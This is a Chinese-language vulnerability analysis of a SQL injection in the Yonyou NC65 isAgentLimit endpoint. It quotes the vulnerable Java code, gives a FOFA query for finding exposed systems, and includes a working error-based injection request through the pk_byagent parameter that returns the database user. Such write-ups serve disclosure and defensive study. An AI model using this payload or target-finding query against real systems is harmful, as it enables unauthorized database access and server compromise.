漏洞简介
用友 NC 是一种商业级的企业资源规划,为企业提供全面的管理解决方案,包括财务管理、采购管理、销售管理、人力资源管理等功能,基于云原生架构,深度应用新一代数字技术,打造开放、 互联、融合、智能的一体化云平台,支持公有云、混合云、专属云的灵活部署模式。聚焦数字化管理、数字化经营、数字化平台等三大企业数字化转型战略方向,提供涵盖数字营销、智能制造、财务共享、人力共享与协同,智慧采购、数字中台等18大解决方案,助力大型企业全面落地数字化和业务流程优化。用友NC isAgentLimit 接口处pk_flowagent参数存在SQL注入漏洞,未授权的攻击者可以通过此漏洞获取数据库权限,进一步利用可导致服务器失陷。
影响版本
NC65
fofa语法
app="用友-UFIDA-NC"
漏洞分析
根据官方漏洞通告,NC系统的/portal/pt/oacoSchedulerEvents/isAgentLimit的参数pk_flowagent存在SQL注入漏洞

isAgentLimit 的业务逻辑实现如下
@Action
public void isAgentLimit() throws BusinessException {
String pk_flowagent = this.getRequest().getParameter("pk_flowagent");
String pk_byagent = this.getRequest().getParameter("pk_byagent");
ISchedulerAgentQueryService agentQry = (ISchedulerAgentQueryService)NCLocator.getInstance().lookup(ISchedulerAgentQueryService.class);
StringBuilder sql = new StringBuilder();
sql.append("pk_agent='").append(pk_flowagent).append("' and pk_user='").append(pk_byagent).append("'").append(" and useflag='Y' ");
sql.append("and '").append(new UFDateTime().toString()).append("' between startdate and stopdate ");
SchedulerAgentVO[] agentvos = agentQry.getAgentVOsByCondition(sql.toString());
if (agentvos != null && agentvos.length > 0) {
this.outClientMessage("N", 0);
} else {
this.outClientMessage("Y", 0);
}
}
pk_flowagent 和 pk_byagent 直接拼接进SQL语句,造成SQL注入漏洞 ,两个参数均存在SQL注入漏洞,网上POC只提到了和官方通告一样的参数,而忽略了第二个参数。
漏洞复现
GET /portal/pt/oacoSchedulerEvents/isAgentLimit?pageId=login&pk_byagent=-1'and+1=utl_inaddr.get_host_name((select+user+from dual))-- HTTP/1.1
Host: nc65.mrxn.net
报错注入,成功回显当前数据库用户

参考
https://security.yonyou.com/#/noticeInfo?id=560


